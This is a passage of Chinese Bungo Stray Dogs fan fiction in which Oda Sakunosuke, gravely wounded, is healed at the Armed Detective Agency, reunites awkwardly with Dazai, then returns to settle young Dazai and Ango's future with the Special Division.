他手里的钢笔却没有办法继续流畅书写下去了,视线在意的跟着投向医务室。从入社以来,太宰治都是个麻烦的家伙,但他们两个作为搭档,在正事上是有着默契的。太宰的这副模样…… 希望那个男人没事吧。 国木田沉着眉头想着。 医务室里。 我的眼前发黑,手指尖开始发冷了,死亡的吐息已经环绕过了我的四肢,彻底分不清围绕着我的嘈杂声是在说些什么了。 原来是这种感觉吗? 困意笼罩了我,但我不想睡过去,努力睁开眼睛与人群中走过来的武侦宰对视着。 想表现得更精神一些,至少在武侦宰——还有首领宰眼前,不能是那种让他们犯PTSD的模样。 但是,模糊的视线中,武侦宰这是什么表情? 很冷漠的可怕表情。 看起来无动于衷,其实我知道,这是太宰治卸下了所有伪装后不知道该做什么反应的真实表情。 我心虚的移开视线,不敢再看上一眼。自责攥紧了心脏,简直不敢想武侦宰是什么心情。 意识渐渐消散沉进了黑暗里。 我从心底发出了最后一声头痛至极的喟叹: ‘唉,真要命……’ 与谢野医生只是扫了一眼病床上的男人,就驱赶起了涌进来的人群:“都出去,他的情况不能耽搁了。” 以往她还会判断送来的病患伤势到了什么程度,要不要用柴刀把人砍个半死再使用异能力。但今天的男人已经不需要这些了,如果再不留住他最后一口气,濒死就要变成真死了。 宫泽贤治和谷崎润一郎连忙后退着,给与谢野医生让出空间,自觉的出去准备关门。 “太宰先生?”谷崎润一郎有点诧异的提醒着。 “与谢野医生,我留下帮忙。”太宰治没什么表情的说着敷衍理由,走到病床前蹲下来,握住了红发男人的一只手。他的目光透彻而清醒的注视着男人,把所有的情况收尽眼底,不放过一丝细节。 样貌没有做过手术的痕迹,也不是异能力。 和那天一模一样的浅色风衣与条纹衬衫,手指上的枪=茧和写作的茧子。下巴上被子弹射伤的痕迹。左肩膀上距离心脏偏移几寸的位置中了一枪,胸口中了两枪,每一发子弹都是冲着一击毙命去的。 开枪者有着精湛的身手和杀人技巧,能够躲避过“天衣无缝”的预知……如同,另一个“天衣无缝”。 这一切都像是还原了那一天,就像是织田作之助——他的友人从那个无法挽回的现场突然抵达了这里。 但事情真的是这样吗? 不管武侦宰如何幻想,他都清楚,他的友人织田作之助已经死在了四年前,回不来了。 能够让人死而复生的办法只有一种…… 武侦宰的目光逐渐沉了下去,像是幽深的黑洞,又像是两道伤口在注视着这个男人。 与谢野医生若有所思的看他一眼,没有再把人往外赶。这个男人看来和事件有关系,太宰有必须留下来盯着的理由。 在盈盈亮起的光芒中,与谢野医生发动了她的异能力,[请君勿死]。 病床上的红发男人伤势以肉眼可见的状态恢复着,惨白的脸色渐渐红润。太宰治站了起来,面无表情注视着这一幕。 这一幕也像是他幻想过无数次却无法实现的夙愿。 美好到梦幻,完全不像是真实。 “手术刀,”“镊子。”“吸引器。” 使用异能力只是这场抢救中的一部分,与谢野医生有条不紊的吩咐着太宰拿取物品,将那些子弹取出,清理创口,一一完成步骤。 病床上昏迷的男人无意识的发出了微弱的呻//吟声,手指轻微的屈伸弹动了一下。 武侦宰目不转睛的注视着这一切,手指无知无觉的攥紧了因为治疗被割破取下来的那堆衣物,手背上的青筋用力到冒起。血早已经浸透了那件衬衫和风衣,彻底不能穿了。 半晌,武侦宰才回过神,低头从风衣的口袋中陆续掏出了一个笔记本,一支笔,一枚Lupin酒馆的火柴盒,一盒香烟,一团版号在十几年前的钞票,几粒散发着陈旧气味的狗粮,一卷绷带和棉签。 太宰盯着那个火柴盒看了半天:“……” 那火柴盒上还残留着微弱的酒精气味和一抹霸道的咖喱香味。 就像是火柴盒的主人在不久前还在酒馆里与友人们畅谈饮酒,在餐馆里惬意的享受着咖喱饭。 衣物下堆着的是轻飘飘的枪带,他的两把枪都不在这里,但刚才从红发男人手腕上取下的战术腕带上却还有沉甸甸的弹=匣。 太宰治翻开了唯一有调查价值的笔记本。 被血污染红了一小半的书页上,画着活灵活现的餐厅胖老板,五个孩子的笑脸,还有Q版的织田作,安吾,以及太宰治本人。 再翻页。 是不同模样的太宰治。不,是无赖派们。后面陆陆续续加上了中原中也,中岛敦和芥川龙之介的模样。 笔记本上还有关于准备落笔的新书大纲、梗概的琐碎记录,一段段简短凌乱的文字在灵感诞生的时候被这样记录在本子上。包括不明意义的人名和缩写:“zwkfk”。 武侦宰安静的翻看了一会儿:“……” 不知道心底是什么滋味,他在缄默中合上了这本笔记本。 青年在病床旁的墙壁上向后一靠,视线难辨的望着天花板,表情就这么融进一片阴影里,看不清楚了。 “治疗结束了。”又过了一会儿,与谢野医生如释重负的说着,很有成就感的回过头。 她的目光探究的落在了青年脸上:“这个男人过一会儿就会醒过来……太宰?你现在的表情很难看。” “是吗?”武侦宰口吻淡淡的反问着,他带着那个笔记本转身向外走去,随手挥了挥,语气已经恢复了平时的清爽和正常,“——是与谢野医生看错了吧!” 与谢野医生盯着他的背影看了几秒钟,冷哼了一声,独自收拾起了手术器具: “呵……逞强的男人啊。”- 作者有话说: 昨晚梦见我和乱步,还有另外两个队友一起组成小队在应对末日危机。 我们必须逆着人流去危机爆发的大楼,最后调查出来罪魁祸首是这里首-脑的儿子,他因为被诱惑染上了吸独,不断向外给出关键情报导致了最终的危机。我们与他发生了枪=战,虽然拿到了关键情报,但我中了几枪后醒过来了。 嘶,这是在梦里死掉了啊。 日有所思夜有所梦,昨天的情节写得我太兴奋了。(但梦是在预示着……如果没有[书]这种bug级别的东西参与调控,织田作之助最后的下场都是死掉吗?) 闭目。 第76章 首领宰,武侦宰 在与谢野医生宣布治疗结束的时候, 一起终于放松下来的还有另外一个人。 Beast世界。 与黑暗融为一体的青年坐在[书]前,双手不堪重负的覆在脸前,疲惫的眼瞳中沉寂无光:“……” 太宰治几乎脱力的靠坐在高背椅子上, 久久没有动作,沉默不语着, 不知道保持这个姿势已经过去了多久。 谁都不清楚过去一个小时有多惊险。 因为没有几个人知道,织田作之助的身上遇到了多么惊心动魄的事情。首领宰观看其他世界的记忆已经成为了日常, 在织田作踏上旅途之后,目光一路追随他的经历, 也成为了一种习惯。 但就在一个小时前。 在那间孤儿院的小屋里—— 当被捆绑起来的中岛敦出现在幼年太宰治的视线范围内, 首领宰脸色微变, 以最快的速度潦草写下文字: [织田作, 立即离开那里!!] 但在墨汁落下去之前,首领宰已经知道这样的警告只是徒劳。在场的人没有时间、也不可能有空去聆听他的告诫。 随之而来的, 就是早已经注定的噩梦了。 ——太宰治痛恨自己过于精明的大脑, 已经在一切尚未发生之前看到了那个遥远的未来。 『不可以……』 红色的半透明身影出现了,是“天衣无缝”。 他如同他的主人一样,战斗的身姿冷酷无情, 每一枪都射击向了致命的位置。 鲜红色的血花迸溅,人类从痉挛的喉间发出了断断续续的喘息声。 『不要……』 有谁的声音在微弱的祈求着, 那是从胸膛中挤出的恸哭。没有高光的眼瞳中残余着倒映出来的身影。 那不是里世界最顶尖的杀手, 那不是擅长使用“天衣无缝”来进行战斗与暗杀的男人。那只是一个已经习惯了在光明下撰写小说、身手早已经生疏了的男人。他该怎么躲过预知下的枪//击? 首领宰在这一秒能利用他的头脑想到好几种逃脱方法。 但。 他又该怎么告诉织田作? 无能为力的手指神经质的抽动了一下, 缓缓放松, 失去了所有的力道。 “砰砰!砰!” 战斗还在继续。几声混乱的枪声响在了一起, 就连现在处于战斗中的两人,都分不清子弹射向了哪里。 首领宰的脸上却惨白一片,他的瞳仁中没有半分波动, 死寂得如同干涸的池塘,或是两枚黯沉的黑色石子那样,静静地凝视着这一幕画面。 像是风吹日晒下的岩石,在大地上裸//露出了丑陋的裂缝。 只剩满目疮痍。 红发男人踉跄着击杀了涩泽龙彦,从容冷静如旧的安慰着几个孩子,表现得若无其事。 他衬衫上刺目的颜色却越来越深,范围越来越大。 ——如同千百个平行世界中的织田作之助那样,他被击中的,都是要害。 『织田作……』 近乎软弱的声音极轻的消失在寂静的黑暗里,很快就什么都不剩了。漂浮在空气中被留下来的,只有剧烈感情的残渣。 “我有办法。”红发男人平静的这么说着。 他的脸上仍然没有表情,只是冷汗越来越多,脸色逐渐苍白,那是一种半透明的苍白感。 白光闪过,半跪着的身影勉强撑着地,消失在了这个世界。 首领宰从来没有哪一刻这么狂喜过。 他抓住[书页],如饥似渴的寻找着,连呼吸都遗忘了。 但是,过去了一段难熬的时间……也许很短暂,也许很漫长,首领宰已经不确定了,他丧失了对时间的感知。 『……』 为什么没有? 『……………………』 不管在哪个世界,都没有发现织田作的踪迹。 『。』 青年眼中如同薄冰一样的光芒融化掉了,变回了火灾中被灼烧而死的黑猫的眼睛。首领宰沉寂的又找了一遍。 他沉默的继续寻找着。 直到看到了武装侦探社门外的那抹痕迹,青年才长出一口气,虚脱的放松了下来,久久靠在椅背上不语,如同一尊大理石雕像。 …… “真奇怪,那位先生是怎么过来的呢?”宫泽贤治天然疑惑的问着。 他们正在查看门口的痕迹。 武装侦探社门口,地上残留着一小滩不规则形状的血泊,连门的下半截都沾染上了某种向下拖拽的暗红色痕迹。 除此之外,门外再没有半点血迹了,楼梯上也没有。就像这个红发男人是凭空出现在武装侦探社门口的,这摊血迹就是他在这个世界上落下的第一抹痕迹。 武侦宰复杂难辨的视线在门板的下半段痕迹上顿了顿:“……” 以他的观察力,几乎可以残忍地还原出重伤的织田作之助是怎么失去力气靠在门上,又一点点滑落、气若游丝的倒在地上的。 以不明原因前来这里求助的红发男人,已经失去了敲门和发出声音的力气。 如果不是贤治发现了响动…… 如果那时候贤治没有注意到…… 武侦宰垂了一下眼帘,搭在身侧的手指像是烫到了似的蜷缩了起来,就像他的心脏一样。他不动声色的转移了话题:“还有别的东西吗?” 很关注这件事的中岛敦捧出一张手帕,上面小心裹着一把沾血的枪:“太宰先生,这是那个人落下的。” “多谢,敦君。”太宰的视线凝聚在了那把枪上,娴熟的退下弹夹查看,枪里没有一发子弹,只有刺鼻的硝烟味留存。他垂眸问着,“只有一把吗?” 第一个发现了红发男人的贤治肯定的说着:“只有一把。” 双枪只剩下了一把…… 织田作身上到底遭遇了什么? 武侦宰沉默不语,他连带着手帕和枪一起拿走了:“抱歉,敦君,这个可以借我用几天吗?” 中岛敦半点都不介意的摇摇头:“太宰先生拿去吧。” 大厅里,江户川乱步没有继续摸鱼,而是直截了当的对回来的武侦宰说:“太宰,这次大叔的案件归你。” 武侦宰神色微动,意识到了这其中有些问题,乱步先生在他不知道的时间里认识过织田作。但他没空深究这些,匆匆点了下头,又回到了医务室里。 病床上,红发男人还在沉沉睡着,无知无觉。 这副熟悉的模样太过刻骨铭心,就算是武侦宰,他也没忍住顿了一下,犯傻的伸出手试了试红发男人的呼吸。 是温暖的啊。 武侦宰的眼神温柔了下来,神情融化了。 …… 我在一阵沉重的乏力感中醒了过来。 四肢十分轻松,肩膀和胸膛没有半点疼痛或者虚弱的感觉,窗外的夕阳灿烂如金,温暖的照耀着远方,也把这个小小的房间照耀得光辉明亮,世界一片宁静。 我躺在柔软的被子下,缓缓睁开眼睛,就这样呆板的注视着天花板,被一阵极致的安心感包围了。 我懒洋洋的躺着,久久没有动:“……唔。” 这种感觉太舒适了,就连我的精神也要融化在温暖的阳光里了,危机解除后,我半点都不愿意去进行思考了。 “与谢野医生的异能力感觉怎么样?” 熟悉的嗓音突然响起,在一旁与我搭话。武侦宰的语气轻松平和到不像是初见,反而像是我们昨天还在一起饮酒,今天只是普通的重逢了一样。 我转过头,看到穿着沙色风衣的太宰治靠在墙边,抱着双臂静静地注视着我,眼眸中染着怀念,不知道已经这样等待了多久。 “很舒服。”我实话实说。 武侦宰为这个评价失笑:“……居然会觉得舒服吗?织田作一定是很累了。” 然后,青年就这样沉默了下去。 他的语言功能像是彻底丧失了,眼睫毛不稳定的偶尔颤动一下,却不会再吐露任何字眼出来。就好像现在有无数的问题要问,但每一个问题都不是他真正想问出来的。 武侦宰:“………” 最后,武侦宰脸上扬起一个若无其事的笑容,选了个与那些全都无关的话题: “织田作,你知道吗?我有在按你说的,帮扶弱小,保护孤儿。” “——我现在是武装侦探社的社员了。” 他说这句话的时候,嗓音轻轻的,温柔得不可思议- 作者有话说: 呜呜呜呜写到后面武侦宰的地方就突然卡文了!等我再找找手感。 第77章 主线世界·心脏骤停 “…………” 在这一刻, 我想到了很多东西,也想过自己醒过来以后该怎么反应,但当真正听到太宰说这样的话时, 我的心情变得非常复杂,几乎没办法从喉管里挤出简单的音节, “……啊。” 我和武侦宰都知道,该对他这番话做出回应的人, 早已经不在了啊。 我看向了他。 柔和注视着我的太宰治瞳孔中闪烁着一抹光芒,像是摇曳的火星那样微弱, 几乎让人不忍心打破。但我还是顿了一下, 把接下来的话说出了口: “——太宰, 抱歉, 其实我来自其他的世界,并不是你认识的那个织田作之助。” 我看着我的话语在清冷的寂静中慢慢落到了地上。 有一瞬间, 武侦宰无所适从的静默着, 脸上没有半点表情。青年站立着,苍白漂亮的面孔凝固着,就像一个名为“太宰治”的男人的扁平形象被裁下来放在了此处。 我知道武侦宰为什么会这样。 当有一个和你的挚友相貌异能一模一样, 经历也近似的男人出现在面前,疑似是异世界的挚友同位体。此人绝不是记忆中的挚友, 只是一个初见的陌生人。但武侦宰要怎么用对待陌生人的态度来对待‘他’? 既不是熟悉的挚友, 也不是毫无关联的陌生人。 我们是…… 我们只是, 世界上最熟悉的陌生人啊。 ——所以无所适从的武侦宰才会说出那一番话。 不知道该做出什么反应的他, 完全不像是平时聪敏过头的模样、又变回了那个笨拙的孩子, 只能粉饰出假装不知道一切的假象来仓促应对。 有点可爱了。 我的喉结干涩的滚动了一下,脑中急转,嘴上却说着一些很苍白无聊的话语: “或许我要说一声, 初次见面,太宰。” 糟糕——这是什么开场语!我也不知道该怎么面对这个武侦宰啊。 主线宰在我心中的地位终究是有些不同的,这也是我总想要避开主线世界的原因,如果不是因为重伤,或许我仍然会对主世界顾虑得驻足不前。用coser的假象去欺骗首领宰的那份友情已经够过分的了,现在要连主线宰的这一份一起带上了吗? 我有点内疚的负罪感。 武侦宰脸上的僵硬很快消失了。 他没忍住的笑了笑,靠在墙边肩膀放松下来,像是彻底卸下了伪装说着:“我知道的,织田作。” 他平静的疑问着:“所以……是发生了什么事?” “我们遇到了一个叫涩泽龙彦的男人。”我顿了一下,只是简单的告诉了武侦宰,我们在幼宰世界的全部遭遇。 不。 我知道,现在武侦宰的放松反应才是伪装的。 胆小鬼。 所以我没对“织田作”这个称呼提出异议,平和的纵容了。如果是为了区分出我和织田作之助,到底是该喊我“织田作”,“织田作先生”,还是“织田先生”呢? 生疏的称呼也许不会刺痛我,但一定会刺痛看到我的武侦宰。 “啊,是他啊。”武侦宰做出了了然的反应,涩泽龙彦在四年前就是危害过横滨的罪魁祸首。 绷带青年的目光中透着冷意。 以太宰治的聪明程度,就算我省略了一些自己觉得笨拙难堪的部分,他应该也猜到了具体的场面。但就算是太宰治,估计也没想到有一天会发生少年无赖派对抗涩泽龙彦的战斗,还是险而又险的接近团灭。 我从面前的绷带青年身上感受到了一股杀意。 ……为主世界的“龙彦之间”默哀。 武侦宰的目光扫过我的笔记本,感兴趣的换了个话题诚恳请教。 他平静的语调中珍重而在意:“织田作,你在写小说吗?” “我写了一些灵感和大纲,还没有开始成文。”我澄清着,没有说出更多字眼。 武侦宰唇边噙着讶然笑意的望着我,说得笃定:“你一定可以的。” “嗯。” 又是一阵沉默。 我从绷带青年脸上看出了他正在搜肠刮肚的思考说些什么。 这个小小的房间里氛围接近凝固了,就像有很多无法用语言说出来的情感渐渐的垒满了空气。 我们都没有再说话——因为我知道武侦宰有很多问题会想问,但我一个都无法深入回答。我也不知道该主动说些什么,因为我有太多秘密现在不能暴露给武侦宰,而他明白这一点。 真奇怪。 明明刚醒来的时候,这个被夕阳笼罩的房间让我觉得温暖而安宁,舒适到想要一辈子都待在这里。但现在太阳落山了。 “太宰先生?” 门外传来了谷崎润一郎的敲门声,他小心的探出脑袋,视线在我们两个之间转动,“与谢野医生说,这位先生差不多该醒了,让我来问问医药费打算怎么支付?” 我伸手摸了个空,临时穿在我身上的大概是太宰治的衣服,装在口袋里的东西都不在了。 我一转头,在床头的托盘里看到了它们,还有那堆沾满了血污已经完全不能穿了的旧衣服。没等我说什么,武侦宰已经抢着应下了这件事:“谷崎,我来帮他付。” 绷带青年双手插在口袋里,步伐看似优雅,但背影落荒而逃似的走出去了。 谷崎润一郎迟疑的看看我,再看看他,挠着后脑勺歉意的点了点头:“那我先出去了。” 他一头雾水的合上了门:“……太宰先生今天怎么这么怪啊。” 红发的这位先生不是已经被救醒了吗? ——可是刚才谷崎润一郎开门后感受到的那阵氛围,把他都吓得一个激灵。 …… 大堂里。 江户川乱步很操心的推了推眼镜柄,幽幽的直言不讳说着:“太宰,如果你现在胆小避开,一定会后悔的。” “……”武侦宰神色从容的回看着他,实际上是不知道该说什么回答。 他眨着长长的眼睫毛,拖长腔调开了个玩笑:“——现在都轮到乱步先生指点我的人际交往了吗?” 江户川乱步在座位上突然变成了包子脸,仰起头,很老成的大叹了口气,指责抱怨: “有什么办法!就连太宰也是笨蛋!碰到织田这样一不注意就会溜走的朋友,不应该狠狠跟上去吗?再犹豫连新朋友都要没了!” 被他骂了一顿的武侦宰脸色微变,转身往医务室走去。 有些事情其实不需要乱步先生的提醒,太宰自己也想得到,但是关心则乱……他在面对屋子里的红发男人时手足无措,下意识的借着这个理由避出来了。 哪怕一会儿也好。 ——太宰只是不想用随便的态度伤到这个认识“太宰治”的织田作之助,尤其是当他们中间隔着深深的隔阂与秘密。所以,用什么样的反应都需要谨慎考虑清楚。 推开屋门。 安静的医务室里只有残存的血腥味,被子被整洁的叠好了,床上已经空无一人。 就像之前发生过的所有一切都是幻觉一样。 武侦宰的手僵硬的悬停在门前,心脏停跳:“…………”- 作者有话说: 众所周知,看人写文,一看就能知道这篇文作者是为了哪碟醋包的整盘饺子。咳我废寝忘食的写完那些精彩绝伦的部分后,人就萎了,严重卡文,望天,回来继续写。 ——上篇文里我写到过,这种情况下,他们就是【世界上最熟悉的陌生人】。我真的很偏爱这个刀,一写到武侦宰就忍不住拿出来细细回味。 第78章 真正的父亲 彼时的幼宰世界。 坂口安吾和太宰治已经在这个乡下的孤儿院里等待了一个小时。 “吃吧。”中岛敦两颊涨得通红, 憋了半天递出来两碗亲子丼,金灿灿的鸡蛋覆在炸鸡块旁边,被白花花的米饭衬得分外诱人。 平时孤儿院才吃不上这么好的伙食, 是涩泽老师来的这两天,院长狠了狠心, 才做的好饭。 中岛敦想起这件事,被电击的深入骨髓的火辣痛感又沿着太阳穴、沿着骨头缝窜了上来。他脸色苍白的攥住自己的手腕, 空洞的眼神往下一垂,懦弱中混合着对院长的憎恶。 很快的, 那薄冰似的一层情绪就像是潮水一样消退了。 他不懂院长为什么会和那个男人密谋, 密谋后的几天他都会被关在小屋里折磨。 他只知道, 这个男人死了。 骨头和血都被他们几个埋到孤儿院后的深山了。 所以安静的白发男童又往前递了递碗, 重复一遍:“吃吧。你们接下来……还要等大叔吧?” 他的声音纤弱又轻微,在微凉的风中很快就被吹散了。 坂口安吾脸色不怎么好看, 推了推眼镜, 理智的说:“太宰,先吃吧,织田作先生会回来的, 不能让他反过来担心我们。” 幼宰若无其事的接过那一碗饭,一声不吭的坐在小院的台阶上, 举起筷子, 吃了起来。 孤儿院的厨艺自然不会多好。 鸡块只是普通的炸了炸, 外皮油腻, 内里带了点隐约的腥气。鸡蛋边缘煎得有点发糊, 米饭的汤汁里夹杂着一些挑不出去的碎鸡骨头。普通人会觉得这一餐是难得的美味,津岛家走出来的小少爷敏感的舌头却半点糊弄不过去。 太宰治从出来就没吃过这样的苦,一路上吃的青花鱼饭团都比这个香。 如果是织田作的话…… 如果是那个红发男人, 会用平静的语气威胁他把这些全部都吃下去,还是放纵他的任性、把碗里大半的菜全拨过去呢? 男童安静的想着,眼瞳中像是藏着两个幽深的漩涡,不带半点生气。 他的表情连变都没变一下,也没有像是在津岛家那样把不感兴趣的饭菜都挑出来剩下,而是把米粒含在舌头上,慢吞吞的挑出了碎骨头,每一口都嚼得面无表情,然后吃下了。 那把沉甸甸的枪就摆放在他和坂口安吾身旁,不仅沾着血,还沾上了一点泥巴,脏兮兮的。 就像那个男人。 真的会回来吗? 那么重的伤势,世界上有治愈的办法吗?就算有那样的异能力者……真的可以快速赶到然后被救治成功吗? 坐在旁边的安吾少年也在想这个问题。 拥有了其他世界自己部分记忆的安吾少年越想越忧虑,怎么看都觉得织田作先生是在骗人。 说什么伤好后就会回来……会花上多久时间? 他从记忆里得知,不同的世界之间流速是不同的。 织田作先生要他们等上几天?几个月?几年?还是抱着不切希望一直的…… 安吾少年不敢再想下去了。 他觉得胃里沉甸甸的,米饭卡在喉咙里,怎么都咽不下去,眼前都是那会儿自己沾满了双手血迹的样子。 安吾少年只能勉强笑起来感慨一声,找了个理由:“……米饭里的碎骨头挑不出来啊。” ……而对于坂口安吾现在最该打探的“织田作先生随身携带的笔记本是什么?”之类的敏感话题,心情低落的安吾少年连一个字都不打算问出来。 突然,一道熟悉的光闪过。 穿着不熟悉风格的风衣的红发男人出现在了小院里。 “——织田作!”幼宰险些打翻了碗,扔下筷子就扑了上去。 “织田作先生!”安吾少年狂喜之下差点没跟着扑上去,但他自持年龄大了,终究没好意思像孩子那样撒娇,只是急走了两步后,就停了下来,眼巴巴站着。 …… “我脱离了危险后,先回来告诉你们了。”我的心脏还在砰砰跳动,没有缓和下来。一回到这个熟悉的院子里,熟悉的记忆也席卷而来了,残存的危险感几乎攫住了我的呼吸。 我若无其事的平复着记忆,接住了扑过来的太宰治,看了看旁边的安吾后,我伸出手臂把他也揽了过来,低头解释着。 这个世界的太宰治还太年幼,是我把他从津岛家接出来的,就不能不管。坂口安吾也是,是我把他带到了这个偏僻的乡下,还没有留一张钞票给他们应急,如果我晚回来几天,真不知道他们要怎么办。 这些情况都必须立刻处理。 ——但我知道,不可以对武侦宰不告而别。 所以我在床头留下了手写的纸条,等我安顿好孩子们,再回去与武侦宰见面。 ——还没有还他的医疗费呢。 “……” 武侦宰,应该有看见吧? 我陷入了一瞬间的不确定。 “讨厌的气味。”幼宰不愉快的说着,挑剔的盯着那件衬衫。 以他的聪明,已经想到了什么。 坂口安吾攥着我的袖口,表情微妙了一瞬,视线游移,也不知道是在赞同还是在反对:“呃……啊……唔。” “啊,说起来……”我突然脚步一顿,摸出了我的笔记本。 之前的情况太危急了,为了救命,我也没有时间去观察[书]的变化。 现在看来…… 我在沉默中安静的注视着这个平平无奇的本子:“……” 不知道该怎么说出答案。 安吾少年好奇极了,但他很有眼色的没有询问。太宰也目光幽深的深深望了这本子一眼,转头注视着我的微表情:“织田作发现了什么?” 他轻声问,却像是在等待一个确定的答案。 男童冷静漠然的表情笃定极了,这一瞬的目光像是我们初见时的那样死寂,让人几乎不忍心说出接下来的话。 “在涩泽龙彦身上。”我张开双唇,把空气挤出喉管,用自己都惊讶的冷静语气说了出来。 我说得隐晦,但太宰知道我指的是[书]。 ……也许是涩泽龙彦对年幼的中岛敦使用电击的时候,发生了某些变化吧。 在我杀死涩泽龙彦的时候,才是我真正与他接触的短短一刹那,[书]出现了。 所以我没有从中岛敦身上找到[书]……反而是在现在,发觉了此世界的[书]早已经安安静静的躺在我的笔记本中了。 “织田作要走了对吗。”男童的这句语气也平静的无懈可击,他抬起稚气的眼瞳注视着我,早已经意识到了这个事实。 我们相识一场的缘分,从他家起始,以到横滨寻物为旅程,到寻找到终止。 ……他早已经意识到了那一天会到来,时间一直都在转动,如同套在脖子上的绞架般一点一滴的收紧着。 但太宰治没有想过,[终局]的那一天会来的这么突然。 我:“……” 我想说‘我会在安顿好你们之后再走。’ 但我鬼使神差的笨拙说着:“以后,有机会我会回来看你们的。” 啊……又对一个世界做出了承诺,我已经逐渐抵挡不住了。也许我的宿命就是以后会被众多世界认识的友人淹没吧。 我这么想着,蔫蔫的呆毛却扬了一下。 “真的?”太宰都没想到还能得到这个承诺,他鸢色的眼瞳中浮现出了浅浅的猝不及防和喜悦,急切地向我确认着。 从刚才开始就一脸呆滞,写满了“天塌了怎么办”表情的安吾少年也顾不上石化了,喜出望外的跟着重复:“织田作先生真的会时不时回来吗?!” ——救命啊,这可是他们日本唯一的超越者!!还是特殊系的! 涩泽龙彦的事情光明正大的报回去,异能特务科都说不出半句抱怨来。这种针对死穴型的异能力不存在了,时空间系超越者的安全就更能得到保证啊! “是真的。”我妥协的看着一左一右两个挤过来的少年组友人,好像正在被包围审讯似的,这种事情终于也落在了我的头上吗? 肚子不合时宜的叫了一声。 我的视线扫向了台阶上放着的两个碗,从口袋里摸出了那卷钞票:“……你们已经吃过饭了啊,我也拜托院长借我使用一下厨房吧。” 土豆和胡萝卜都不是什么难见到的食材,咖喱和味增更是穷苦人家常备的调味品。我想,或许我可以在孤儿院里为自己做一道素食的咖喱饭,填饱肚子就行了。 太宰和安吾却像是抓到了什么救命稻草似的,眼睛齐齐亮了,神情还有些绝望的拜托着:“织田作,我也要吃!”“织田作先生,拜托你下厨了!” 我:“……?” 虽然很感谢孤儿院的院长收留了两个少年友人一会儿,但他们两个现在的反应真的很像是—— 才被寄养了一会儿就哇哇大叫着诉说哪里委屈的娇气家养猫…… 我摇摇头挥散了这样的幻觉,招呼远处眺望却不敢过来的斜刘海男童,言简意赅的对他拜托着:“我有事情要去找院长一趟,敦君一起吧。” “唉?我……”瘦弱的男童皮肤白得惊人,他下意识瑟缩了一下,还是没敢拒绝,心事重重的跟上了。 才走了几步,男童咬咬牙低声问:“织田……作先生,那个男人说的话是什么意思?你们和我一样……我是说,我……我和你们一样……” 他吞吞吐吐的,憋得鼻尖上都沁着汗,双拳紧攥在身侧,心跳如擂。 “这也是我接下来要和院长说的话。”我直言不讳的看向年幼的中岛敦,沉静的安抚他。 院长自己的幼年过得极为艰苦,所以当他以普通人的身份来管束一个能力失控的幼年异能力者时,他不清楚该怎么办,只能下意识把自己的遭遇套在对方身上,试图用恐怖的暴力来维持这一切。 也许院长有怀疑过这样的做法是不是异常的。 所以他才会拜托登门自称是异能力者的涩泽龙彦来教导中岛敦——但,涩泽老师的做法却是,毫不留情的电击。 我分不清是原剧情中他这样残酷的手段加剧了院长的印象与手段,还是‘涩泽老师被幼年的中岛敦所反杀’这样的结果使院长更加激烈的选择用暴力控制幼敦。 但不管是哪个——这都是我要与院长讨论的东西。 这一次,有了太宰治,有了坂口安吾,有了提前发现的异能特务科,这个斜刘海男童的未来,都不会再与原本一样了。 希望他的这一次,能有个真正的【父亲】- 作者有话说: ——是的这两个世界是有不同的时间流速的! (不然武侦宰就太心疼了,抱抱抱抱) 第79章 与武侦宰的战斗 “……原来是这样吗。” 身形瘦高的院长语气沉寂, 垂着眼帘,向我深深鞠了一躬,“多谢织田先生的指教。” 我刚才没有多说什么, 只是指出了涩泽龙彦的不怀好意,以及把异能特务科的联络方式交给了院长而已。在教导和管理不成熟的异能力者这方面, 异能特务科才是最成体制的。 “敦。”院长的语气像是雪天中落下的一片雪花,冰凉又很快融化。 白发孩童胆怯的走近几步, 却听到高大的男人没什么感情的告诫他:“你和织田先生他们一样,都是天生的异能力者, 但你年幼, 控制不好自己, 往后会有异能特务科的先生教你。” “……嗯、嗯!”敦苍白的小脸上逐渐扬起了大大的笑容。 他到现在才明白……院长从小严厉的对待他、辱骂他, 原来都是院长在教导他控制能力。 虽然中岛敦到现在都分不清自己到底能力是什么,但他心底生出了一股渴望力量的愿望。 “我一定好好学。”男童期盼的攥拳说着。 安排好了幼敦, 我去借用孤儿院的小厨房, 做了一顿素食咖喱饭。 左边是往盘子里加了不少腌姜佐菜的坂口安吾,右面是搅拌着溏心蛋的太宰治,中间是面无表情灌入辣椒的我, 我们三个人的饮食习惯各有不同呢。 辣椒与拌着咖喱汁的米饭融为一体,交融成让灵魂都感到美妙的滋味。 我今天却没办法专心致志的品尝美食。 该拿太宰怎么办? 我食不下咽的举着勺子, 脑袋里转悠着这样的念头。 放任他就这样住在横滨, 以集装箱为家, 过着没有安全保障也没有钱的生活, 我做不到。但是把他送回津岛家……现在的幼宰还愿不愿意回去, 也是个问号。 “织田作,该不会在想怎么摆脱我这个大麻烦吧?”太宰突然洞察人心似的转过头看过来。那双大眼睛里满是狐疑。 “太宰。”我决定郑重询问他自己的意见,“你打算以后在哪里生活?” “横滨有这么好玩的安吾和敦, 当然是留在这里了。”太宰就像早早想好了答案,眼皮不眨的说着,安吾少年在旁边不满的抗议一声:“喂!” 我平静点点头,有了决定,看向眼镜少年:“安吾,你知道我不是这个世界的人,我有关于这个世界未来的重要情报,请帮我联络异能特务科,临走前我要与种田先生对话。” 虽然[书]不能动,但掌握着其他世界不同发展情报的我,又何尝不算是一种预知异能呢? 我打算用那些“提供参考”的情报,来与异能特务科和他们背后的夏目漱石、其他政府高官提供交易,换取对幼宰的庇佑和让他生活无忧的生活费。 不是收编,只是作为立功家属吃上国家饭了而已。日后我还会回来,太宰过得好坏,我都会知道。 有了这些保障之后,其他的……我相信太宰的能力,就算他比原本的年纪早了四年在横滨闯荡。 安吾少年面皮瞬间绷紧了,谨慎应了下来:“嗯。” 他心里狂喜。 织田作先生这是终于打算把预知到的情报告诉异能特务科了吗?就算织田作先生不提要求,种田长官也不会怠慢太宰的! ……这可是超越者临走前唯一想要关照的孩子! 第二天的傍晚,我就见到了光头的种田长官。 在太宰治无神的疲惫表情前,我们进行了一连串肮脏的成年人交易,关于具体的情报,我只留下了种田长官,将那份稿纸给他当面阅读,然后立刻销毁了。 种田长官看完的表情精彩至极:“……” “这件事……我还需要上报,织田先生。”他的语气不知道为什么恭敬了很多,“但你的诉求,我们应下了。异能特务科会全力保障太宰君的安危。” 然后,种田长官往前推了一下,把一张银行卡推向了桌面:“这是太宰君每月的活动经费。” 我拜托道:“还有安吾,他也是我的朋友。” 种田长官看了看我,好像明白了什么,也点头答应下来,说得意味深长:“坂口君的能力很强,等他毕业加入了异能特务科,会有他的前途的。” 